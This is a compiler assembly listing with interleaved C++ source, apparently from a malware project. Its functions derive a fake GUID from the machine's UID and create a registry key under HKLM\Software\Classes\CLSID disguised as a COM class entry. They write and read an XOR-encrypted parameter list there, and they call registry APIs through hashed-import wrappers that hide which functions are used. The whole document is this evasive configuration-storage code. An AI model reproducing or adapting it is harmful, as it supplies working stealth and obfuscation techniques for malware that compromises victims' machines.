; 104  : 	while (wide_uid.Length() < (8+4+4+4+12)) wide_uid += uid;
  00038	57		 push	 edi
  00039	eb 0e		 jmp	 SHORT $LN29@CreateGuid
$LL6@CreateGuid:
  0003b	ff 75 0c	 push	 DWORD PTR _uid$[ebp]
  0003e	8d 4d f8	 lea	 ecx, DWORD PTR _wide_uid$[ebp]
  00041	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString<char>::operator+=
  00046	ff 75 fc	 push	 DWORD PTR _wide_uid$[ebp+4]
$LN29@CreateGuid:
  00049	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  0004e	59		 pop	 ecx
  0004f	83 f8 20	 cmp	 eax, 32			; 00000020H
  00052	72 e7		 jb	 SHORT $LL6@CreateGuid
; 105  : 
; 106  : 	guid += "{";
  00054	68 00 00 00 00	 push	 OFFSET ??_C@_01HCONENDN@?$HL?$AA@
  00059	8b ce		 mov	 ecx, esi
  0005b	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
; 107  : 	const char* CurPtr = wide_uid.t_str();
  00060	39 7d fc	 cmp	 DWORD PTR _wide_uid$[ebp+4], edi
  00063	74 08		 je	 SHORT $LN21@CreateGuid
  00065	8b 45 fc	 mov	 eax, DWORD PTR _wide_uid$[ebp+4]
  00068	89 45 08	 mov	 DWORD PTR _CurPtr$[ebp], eax
  0006b	eb 07		 jmp	 SHORT $LL22@CreateGuid
$LN21@CreateGuid:
  0006d	c7 45 08 00 00
	00 00		 mov	 DWORD PTR _CurPtr$[ebp], OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LL22@CreateGuid:
; 108  : 
; 109  : 	for (size_t i = 0; i < ARRAYSIZE(parts); i++)
; 110  : 	{
; 111  : 		if (i != 0) guid += "-";
  00074	85 ff		 test	 edi, edi
  00076	74 0c		 je	 SHORT $LN1@CreateGuid
  00078	68 00 00 00 00	 push	 OFFSET ??_C@_01JOAMLHOP@?9?$AA@
  0007d	8b ce		 mov	 ecx, esi
  0007f	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
$LN1@CreateGuid:
; 112  : 
; 113  : 		guid += string(CurPtr, parts[i]);
  00084	8b 5c bd dc	 mov	 ebx, DWORD PTR _parts$[ebp+edi*4]
  00088	53		 push	 ebx
  00089	ff 75 08	 push	 DWORD PTR _CurPtr$[ebp]
  0008c	8d 4d f0	 lea	 ecx, DWORD PTR $T92818[ebp]
  0008f	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBDK@Z ; TString<char>::TString<char>
  00094	50		 push	 eax
  00095	8b ce		 mov	 ecx, esi
  00097	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString<char>::operator+=
  0009c	8d 4d f0	 lea	 ecx, DWORD PTR $T92818[ebp]
  0009f	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 114  : 		CurPtr += parts[i];
  000a4	01 5d 08	 add	 DWORD PTR _CurPtr$[ebp], ebx
  000a7	47		 inc	 edi
  000a8	83 ff 05	 cmp	 edi, 5
  000ab	72 c7		 jb	 SHORT $LL22@CreateGuid
; 115  : 	}
; 116  : 
; 117  : 	guid += "}";
  000ad	68 00 00 00 00	 push	 OFFSET ??_C@_01CELHOKLL@?$HN?$AA@
  000b2	8b ce		 mov	 ecx, esi
  000b4	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
; 118  : 	return guid;
  000b9	8d 4d f8	 lea	 ecx, DWORD PTR _wide_uid$[ebp]
  000bc	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000c1	5f		 pop	 edi
  000c2	8b c6		 mov	 eax, esi
  000c4	5e		 pop	 esi
  000c5	5b		 pop	 ebx
; 119  : }
  000c6	c9		 leave
  000c7	c3		 ret	 0
?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z ENDP	; CreateGuidFromUid
_TEXT	ENDS
PUBLIC	??_C@_00CNPNBAHC@?$AA@				; `string'
PUBLIC	??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@ ; `string'
PUBLIC	?CreateSettingKey@@YAPAUHKEY__@@XZ		; CreateSettingKey
;	COMDAT ??_C@_00CNPNBAHC@?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_00CNPNBAHC@?$AA@ DB 00H				; `string'
CONST	ENDS
;	COMDAT ??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@
CONST	SEGMENT
??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@ DB 'Software\Classes\CL'
	DB	'SID\', 00H					; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?CreateSettingKey@@YAPAUHKEY__@@XZ
_TEXT	SEGMENT
$T92854 = -48						; size = 8
$T92855 = -40						; size = 8
_roots$ = -32						; size = 8
$T92853 = -24						; size = 8
_path$ = -16						; size = 8
_dsp$ = -8						; size = 4
_key$ = -4						; size = 4
?CreateSettingKey@@YAPAUHKEY__@@XZ PROC			; CreateSettingKey, COMDAT
; 124  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 30	 sub	 esp, 48			; 00000030H
  00006	56		 push	 esi
  00007	57		 push	 edi
; 125  : 	// 
 HKEY_LOCAL_MACHINE
; 126  : 	// 
 HKEY_CURRENT_USER, 
; 127  : 	// 
; 128  : 
; 129  : 	HKEY    roots[2] = {HKEY_LOCAL_MACHINE /*, HKEY_CURRENT_USER*/};
; 130  : 	HKEY    key = NULL;
  00008	33 f6		 xor	 esi, esi
  0000a	33 c0		 xor	 eax, eax
  0000c	8d 7d e4	 lea	 edi, DWORD PTR _roots$[ebp+4]
  0000f	c7 45 e0 02 00
	00 80		 mov	 DWORD PTR _roots$[ebp], -2147483646 ; 80000002H
; 131  : 	DWORD   dsp = 0;
; 132  : 	string  path;
; 133  : 
; 134  : 	path = "Software\\Classes\\CLSID\\";
  00016	68 00 00 00 00	 push	 OFFSET ??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@
  0001b	8d 4d f0	 lea	 ecx, DWORD PTR _path$[ebp]
  0001e	ab		 stosd
  0001f	89 75 fc	 mov	 DWORD PTR _key$[ebp], esi
  00022	89 75 f8	 mov	 DWORD PTR _dsp$[ebp], esi
  00025	c7 45 f0 00 00
	00 00		 mov	 DWORD PTR _path$[ebp], OFFSET ??_7?$TString@D@@6B@
  0002c	89 75 f4	 mov	 DWORD PTR _path$[ebp+4], esi
  0002f	e8 00 00 00 00	 call	 ??4?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator=
; 135  : 	path += CreateGuidFromUid(GenerateUidAsString(""));
  00034	68 00 00 00 00	 push	 OFFSET ??_C@_00CNPNBAHC@?$AA@
  00039	8d 4d e8	 lea	 ecx, DWORD PTR $T92853[ebp]
  0003c	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00041	8d 45 e8	 lea	 eax, DWORD PTR $T92853[ebp]
  00044	50		 push	 eax
  00045	8d 45 d0	 lea	 eax, DWORD PTR $T92854[ebp]
  00048	50		 push	 eax
  00049	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  0004e	50		 push	 eax
  0004f	8d 45 d8	 lea	 eax, DWORD PTR $T92855[ebp]
  00052	50		 push	 eax
  00053	e8 00 00 00 00	 call	 ?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z ; CreateGuidFromUid
  00058	83 c4 10	 add	 esp, 16			; 00000010H
  0005b	50		 push	 eax
  0005c	8d 4d f0	 lea	 ecx, DWORD PTR _path$[ebp]
  0005f	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString<char>::operator+=
  00064	8d 4d d8	 lea	 ecx, DWORD PTR $T92855[ebp]
  00067	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  0006c	8d 4d d0	 lea	 ecx, DWORD PTR $T92854[ebp]
  0006f	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00074	8d 4d e8	 lea	 ecx, DWORD PTR $T92853[ebp]
  00077	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 136  : 
; 137  : 	for (DWORD i = 0; i < ARRAYSIZE(roots); i++) 
  0007c	33 ff		 xor	 edi, edi
$LL4@CreateSett:
; 138  : 	{
; 139  : 		DWORD create_key_result = (DWORD)pRegCreateKeyExA(roots[i],
; 140  : 			path.t_str(), 0, NULL, 0, KEY_ALL_ACCESS, NULL, &key, &dsp);
  0007e	8b 45 f4	 mov	 eax, DWORD PTR _path$[ebp+4]
  00081	39 75 f4	 cmp	 DWORD PTR _path$[ebp+4], esi
  00084	75 05		 jne	 SHORT $LN14@CreateSett
  00086	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN14@CreateSett:
  0008b	8d 4d f8	 lea	 ecx, DWORD PTR _dsp$[ebp]
  0008e	51		 push	 ecx
  0008f	8d 4d fc	 lea	 ecx, DWORD PTR _key$[ebp]
  00092	51		 push	 ecx
  00093	56		 push	 esi
  00094	68 3f 00 0f 00	 push	 983103			; 000f003fH
  00099	56		 push	 esi
  0009a	56		 push	 esi
  0009b	56		 push	 esi
  0009c	50		 push	 eax
  0009d	ff 74 bd e0	 push	 DWORD PTR _roots$[ebp+edi*4]
  000a1	e8 00 00 00 00	 call	 ??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z ; pushargEx<2,2426443750,238,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *>
  000a6	83 c4 24	 add	 esp, 36			; 00000024H
; 141  : 
; 142  : 		if (create_key_result == ERROR_SUCCESS) return key;
  000a9	85 c0		 test	 eax, eax
  000ab	74 08		 je	 SHORT $LN16@CreateSett
  000ad	47		 inc	 edi
  000ae	83 ff 02	 cmp	 edi, 2
  000b1	72 cb		 jb	 SHORT $LL4@CreateSett
  000b3	eb 03		 jmp	 SHORT $LN18@CreateSett
$LN16@CreateSett:
  000b5	8b 75 fc	 mov	 esi, DWORD PTR _key$[ebp]
$LN18@CreateSett:
  000b8	8d 4d f0	 lea	 ecx, DWORD PTR _path$[ebp]
  000bb	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000c0	5f		 pop	 edi
  000c1	8b c6		 mov	 eax, esi
  000c3	5e		 pop	 esi
; 143  : 	}
; 144  : 
; 145  : 	return NULL;
; 146  : }
  000c4	c9		 leave
  000c5	c3		 ret	 0
?CreateSettingKey@@YAPAUHKEY__@@XZ ENDP			; CreateSettingKey
_TEXT	ENDS
PUBLIC	?GetValueName@@YA?AV?$TString@D@@ABV1@@Z	; GetValueName
; Function compile flags: /Ogspy
;	COMDAT ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z
_TEXT	SEGMENT
$T92878 = -16						; size = 8
_Uid$ = -8						; size = 8
___$ReturnUdt$ = 8					; size = 4
_Suffix$ = 12						; size = 4
?GetValueName@@YA?AV?$TString@D@@ABV1@@Z PROC		; GetValueName, COMDAT
; 151  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 10	 sub	 esp, 16			; 00000010H
; 152  : 	string Uid = GenerateUidAsString("");
  00006	68 00 00 00 00	 push	 OFFSET ??_C@_00CNPNBAHC@?$AA@
  0000b	8d 4d f0	 lea	 ecx, DWORD PTR $T92878[ebp]
  0000e	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00013	8d 45 f0	 lea	 eax, DWORD PTR $T92878[ebp]
  00016	50		 push	 eax
  00017	8d 45 f8	 lea	 eax, DWORD PTR _Uid$[ebp]
  0001a	50		 push	 eax
  0001b	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00020	59		 pop	 ecx
  00021	59		 pop	 ecx
  00022	8d 4d f0	 lea	 ecx, DWORD PTR $T92878[ebp]
  00025	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 153  : 	string ValueName(Uid.t_str(), Uid.Length() - 5);
  0002a	ff 75 fc	 push	 DWORD PTR _Uid$[ebp+4]
  0002d	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  00032	83 7d fc 00	 cmp	 DWORD PTR _Uid$[ebp+4], 0
  00036	59		 pop	 ecx
  00037	8b 4d fc	 mov	 ecx, DWORD PTR _Uid$[ebp+4]
  0003a	75 05		 jne	 SHORT $LN8@GetValueNa
  0003c	b9 00 00 00 00	 mov	 ecx, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN8@GetValueNa:
  00041	83 c0 fb	 add	 eax, -5			; fffffffbH
  00044	50		 push	 eax
  00045	51		 push	 ecx
  00046	8b 4d 08	 mov	 ecx, DWORD PTR ___$ReturnUdt$[ebp]
  00049	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBDK@Z ; TString<char>::TString<char>
; 154  : 
; 155  : 	ValueName += Suffix;
  0004e	ff 75 0c	 push	 DWORD PTR _Suffix$[ebp]
  00051	8b 4d 08	 mov	 ecx, DWORD PTR ___$ReturnUdt$[ebp]
  00054	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString<char>::operator+=
; 156  : 
; 157  : 	DBGRPTDBG("GetValueName", "returning value_name='%s'", ValueName.t_str());
; 158  : 
; 159  : 	return ValueName;
  00059	8d 4d f8	 lea	 ecx, DWORD PTR _Uid$[ebp]
  0005c	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00061	8b 45 08	 mov	 eax, DWORD PTR ___$ReturnUdt$[ebp]
; 160  : }
  00064	c9		 leave
  00065	c3		 ret	 0
?GetValueName@@YA?AV?$TString@D@@ABV1@@Z ENDP		; GetValueName
_TEXT	ENDS
PUBLIC	??_C@_02DAMOAIFE@PL?$AA@			; `string'
PUBLIC	?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z ; DebugReportLoadParamList
EXTRN	?Crypt@XORCrypt@@YAKPADPAEK@Z:PROC		; XORCrypt::Crypt
;	COMDAT ??_C@_02DAMOAIFE@PL?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_02DAMOAIFE@PL?$AA@ DB 'PL', 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z
_TEXT	SEGMENT
_Buffer$ = -1048					; size = 1024
_ValueType$ = -24					; size = 4
$T92898 = -20						; size = 8
$T92897 = -20						; size = 8
$T92895 = -20						; size = 8
$T92896 = -12						; size = 8
$T92894 = -12						; size = 8
_ValueLength$ = -4					; size = 4
_ParamList$ = 8						; size = 4
?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z PROC	; DebugReportLoadParamList, COMDAT
; 165  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec 18 04 00
	00		 sub	 esp, 1048		; 00000418H
  00009	56		 push	 esi
; 166  : 	HKEY key = CreateSettingKey();
  0000a	e8 00 00 00 00	 call	 ?CreateSettingKey@@YAPAUHKEY__@@XZ ; CreateSettingKey
  0000f	8b f0		 mov	 esi, eax
; 167  : 
; 168  : 	DBGRPTDBG("DebugReportLoadParamList", "CreateSettingKey() result=0x%X", key);
; 169  : 	if (key == NULL) return false;
  00011	85 f6		 test	 esi, esi
  00013	75 07		 jne	 SHORT $LN3@DebugRepor@2
$LN12@DebugRepor@2:
  00015	32 c0		 xor	 al, al
  00017	e9 f7 00 00 00	 jmp	 $LN4@DebugRepor@2
$LN3@DebugRepor@2:
; 170  : 
; 171  : 	BYTE    Buffer[1024];
; 172  : 	DWORD   ValueLength = sizeof(Buffer) - 1;
; 173  : 	DWORD   ValueType = 0;
  0001c	83 65 e8 00	 and	 DWORD PTR _ValueType$[ebp], 0
  00020	53		 push	 ebx
; 174  : 
; 175  : 	m_memset(Buffer, 0, sizeof(Buffer));
  00021	68 00 04 00 00	 push	 1024			; 00000400H
  00026	8d 85 e8 fb ff
	ff		 lea	 eax, DWORD PTR _Buffer$[ebp]
  0002c	6a 00		 push	 0
  0002e	50		 push	 eax
  0002f	c7 45 fc ff 03
	00 00		 mov	 DWORD PTR _ValueLength$[ebp], 1023 ; 000003ffH
  00036	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
  0003b	83 c4 0c	 add	 esp, 12			; 0000000cH
; 176  : 
; 177  : 	DWORD query_value_result = (DWORD)pRegQueryValueExA(key, GetValueName("PL").t_str(), 0, 
; 178  : 		&ValueType, Buffer, &ValueLength);
  0003e	68 00 00 00 00	 push	 OFFSET ??_C@_02DAMOAIFE@PL?$AA@
  00043	8d 4d f4	 lea	 ecx, DWORD PTR $T92894[ebp]
  00046	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  0004b	8d 45 fc	 lea	 eax, DWORD PTR _ValueLength$[ebp]
  0004e	50		 push	 eax
  0004f	8d 85 e8 fb ff
	ff		 lea	 eax, DWORD PTR _Buffer$[ebp]
  00055	50		 push	 eax
  00056	8d 45 e8	 lea	 eax, DWORD PTR _ValueType$[ebp]
  00059	50		 push	 eax
  0005a	6a 00		 push	 0
  0005c	8d 45 f4	 lea	 eax, DWORD PTR $T92894[ebp]
  0005f	50		 push	 eax
  00060	8d 45 ec	 lea	 eax, DWORD PTR $T92895[ebp]
  00063	50		 push	 eax
  00064	e8 00 00 00 00	 call	 ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z ; GetValueName
  00069	59		 pop	 ecx
  0006a	59		 pop	 ecx
  0006b	8b c8		 mov	 ecx, eax
  0006d	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00072	50		 push	 eax
  00073	56		 push	 esi
  00074	e8 00 00 00 00	 call	 ??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z ; pushargEx<2,402843592,214,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *>
  00079	83 c4 18	 add	 esp, 24			; 00000018H
  0007c	8d 4d ec	 lea	 ecx, DWORD PTR $T92895[ebp]
  0007f	8b d8		 mov	 ebx, eax
  00081	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00086	8d 4d f4	 lea	 ecx, DWORD PTR $T92894[ebp]
  00089	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 179  : 	pRegCloseKey(key);
  0008e	56		 push	 esi
  0008f	e8 00 00 00 00	 call	 ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,216,HKEY__ *>
  00094	59		 pop	 ecx
; 180  : 
; 181  : 	DBGRPTDBG("DebugReportLoadParamList", "RegQueryValueEx() result=%u ValueType=%d",
; 182  : 		query_value_result, ValueType);
; 183  : 
; 184  : 	if (query_value_result != ERROR_SUCCESS) return false;
  00095	85 db		 test	 ebx, ebx
  00097	5b		 pop	 ebx
  00098	0f 85 77 ff ff
	ff		 jne	 $LN12@DebugRepor@2
; 185  : 	if (ValueType != REG_BINARY) return false;
  0009e	83 7d e8 03	 cmp	 DWORD PTR _ValueType$[ebp], 3
  000a2	0f 85 6d ff ff
	ff		 jne	 $LN12@DebugRepor@2
; 186  : 
; 187  : 	
; 188  : 	XORCrypt::Crypt(GenerateUidAsString("").t_str(), Buffer, ValueLength);
  000a8	68 00 00 00 00	 push	 OFFSET ??_C@_00CNPNBAHC@?$AA@
  000ad	8d 4d f4	 lea	 ecx, DWORD PTR $T92896[ebp]
  000b0	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  000b5	ff 75 fc	 push	 DWORD PTR _ValueLength$[ebp]
  000b8	8d 85 e8 fb ff
	ff		 lea	 eax, DWORD PTR _Buffer$[ebp]
  000be	50		 push	 eax
  000bf	8d 45 f4	 lea	 eax, DWORD PTR $T92896[ebp]
  000c2	50		 push	 eax
  000c3	8d 45 ec	 lea	 eax, DWORD PTR $T92897[ebp]
  000c6	50		 push	 eax
  000c7	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  000cc	59		 pop	 ecx
  000cd	59		 pop	 ecx
  000ce	8b c8		 mov	 ecx, eax
  000d0	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  000d5	50		 push	 eax
  000d6	e8 00 00 00 00	 call	 ?Crypt@XORCrypt@@YAKPADPAEK@Z ; XORCrypt::Crypt
  000db	83 c4 0c	 add	 esp, 12			; 0000000cH
  000de	8d 4d ec	 lea	 ecx, DWORD PTR $T92897[ebp]
  000e1	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000e6	8d 4d f4	 lea	 ecx, DWORD PTR $T92896[ebp]
  000e9	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 189  : 	*ParamList = string((const char*)Buffer, ValueLength);
  000ee	ff 75 fc	 push	 DWORD PTR _ValueLength$[ebp]
  000f1	8d 85 e8 fb ff
	ff		 lea	 eax, DWORD PTR _Buffer$[ebp]
  000f7	50		 push	 eax
  000f8	8d 4d ec	 lea	 ecx, DWORD PTR $T92898[ebp]
  000fb	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBDK@Z ; TString<char>::TString<char>
  00100	8b 4d 08	 mov	 ecx, DWORD PTR _ParamList$[ebp]
  00103	50		 push	 eax
  00104	e8 00 00 00 00	 call	 ??4?$TString@D@@QAEAAV0@ABV0@@Z ; TString<char>::operator=
  00109	8d 4d ec	 lea	 ecx, DWORD PTR $T92898[ebp]
  0010c	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 190  : 
; 191  : 	DBGRPTDBG("DebugReportLoadParamList", "Finished.(param_list='%s')", 
; 192  : 		(*ParamList).t_str());
; 193  : 
; 194  : 	return true;
  00111	b0 01		 mov	 al, 1
$LN4@DebugRepor@2:
  00113	5e		 pop	 esi
; 195  : }
  00114	c9		 leave
  00115	c3		 ret	 0
?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z ENDP	; DebugReportLoadParamList
_TEXT	ENDS
PUBLIC	?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z ; DebugReportSaveParamList
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z
_TEXT	SEGMENT
$T92913 = -24						; size = 8
$T92911 = -24						; size = 8
_EncodedString$ = -16					; size = 8
$T92912 = -8						; size = 8
$T92910 = -8						; size = 8
_ParamList$ = 8						; size = 4
?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z PROC	; DebugReportSaveParamList, COMDAT
; 200  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 18	 sub	 esp, 24			; 00000018H
  00006	53		 push	 ebx
; 201  : 	HKEY key = CreateSettingKey();
  00007	e8 00 00 00 00	 call	 ?CreateSettingKey@@YAPAUHKEY__@@XZ ; CreateSettingKey
  0000c	8b d8		 mov	 ebx, eax
; 202  : 
; 203  : 	DBGRPTDBG("DebugReportSaveParamList", "CreateSettingKey() result=0x%X", key);
; 204  : 	if (key == NULL) return false;
  0000e	85 db		 test	 ebx, ebx
  00010	75 05		 jne	 SHORT $LN2@DebugRepor@3
  00012	32 c0		 xor	 al, al
$LN3@DebugRepor@3:
  00014	5b		 pop	 ebx
; 216  : 
; 217  : 	return true;
; 218  : }
  00015	c9		 leave
  00016	c3		 ret	 0
$LN2@DebugRepor@3:
  00017	56		 push	 esi
  00018	57		 push	 edi
; 205  : 
; 206  : 	string EncodedString = ParamList;
  00019	ff 75 08	 push	 DWORD PTR _ParamList$[ebp]
  0001c	8d 4d f0	 lea	 ecx, DWORD PTR _EncodedString$[ebp]
  0001f	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@ABV0@@Z ; TString<char>::TString<char>
; 207  : 	XORCrypt::Crypt(GenerateUidAsString("").t_str(), (LPBYTE)EncodedString.t_str(), EncodedString.Length()+1);
  00024	68 00 00 00 00	 push	 OFFSET ??_C@_00CNPNBAHC@?$AA@
  00029	8d 4d f8	 lea	 ecx, DWORD PTR $T92910[ebp]
  0002c	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00031	8b 75 f4	 mov	 esi, DWORD PTR _EncodedString$[ebp+4]
  00034	56		 push	 esi
  00035	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  0003a	59		 pop	 ecx
  0003b	bf 00 00 00 00	 mov	 edi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
  00040	8b ce		 mov	 ecx, esi
  00042	85 f6		 test	 esi, esi
  00044	75 02		 jne	 SHORT $LN12@DebugRepor@3
  00046	8b cf		 mov	 ecx, edi
$LN12@DebugRepor@3:
  00048	40		 inc	 eax
  00049	50		 push	 eax
  0004a	51		 push	 ecx
  0004b	8d 45 f8	 lea	 eax, DWORD PTR $T92910[ebp]
  0004e	50		 push	 eax
  0004f	8d 45 e8	 lea	 eax, DWORD PTR $T92911[ebp]
  00052	50		 push	 eax
  00053	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00058	59		 pop	 ecx
  00059	59		 pop	 ecx
  0005a	8b c8		 mov	 ecx, eax
  0005c	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00061	50		 push	 eax
  00062	e8 00 00 00 00	 call	 ?Crypt@XORCrypt@@YAKPADPAEK@Z ; XORCrypt::Crypt
  00067	83 c4 0c	 add	 esp, 12			; 0000000cH
  0006a	8d 4d e8	 lea	 ecx, DWORD PTR $T92911[ebp]
  0006d	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00072	8d 4d f8	 lea	 ecx, DWORD PTR $T92910[ebp]
  00075	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 208  : 
; 209  : 	DWORD set_value_result = (DWORD)pRegSetValueExA(key, GetValueName("PL").t_str(), 0, REG_BINARY, 
; 210  : 		(const BYTE*)EncodedString.t_str(),
; 211  : 		EncodedString.Length()+1);
  0007a	68 00 00 00 00	 push	 OFFSET ??_C@_02DAMOAIFE@PL?$AA@
  0007f	8d 4d f8	 lea	 ecx, DWORD PTR $T92912[ebp]
  00082	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00087	56		 push	 esi
  00088	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  0008d	59		 pop	 ecx
  0008e	85 f6		 test	 esi, esi
  00090	75 02		 jne	 SHORT $LN18@DebugRepor@3
  00092	8b f7		 mov	 esi, edi
$LN18@DebugRepor@3:
  00094	40		 inc	 eax
  00095	50		 push	 eax
  00096	56		 push	 esi
  00097	6a 03		 push	 3
  00099	6a 00		 push	 0
  0009b	8d 45 f8	 lea	 eax, DWORD PTR $T92912[ebp]
  0009e	50		 push	 eax
  0009f	8d 45 e8	 lea	 eax, DWORD PTR $T92913[ebp]
  000a2	50		 push	 eax
  000a3	e8 00 00 00 00	 call	 ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z ; GetValueName
  000a8	59		 pop	 ecx
  000a9	59		 pop	 ecx
  000aa	8b c8		 mov	 ecx, eax
  000ac	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  000b1	50		 push	 eax
  000b2	53		 push	 ebx
  000b3	e8 00 00 00 00	 call	 ??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z ; pushargEx<2,1044385750,219,HKEY__ *,char *,int,int,unsigned char const *,unsigned long>
  000b8	83 c4 18	 add	 esp, 24			; 00000018H
  000bb	8d 4d e8	 lea	 ecx, DWORD PTR $T92913[ebp]
  000be	8b f0		 mov	 esi, eax
  000c0	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000c5	8d 4d f8	 lea	 ecx, DWORD PTR $T92912[ebp]
  000c8	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
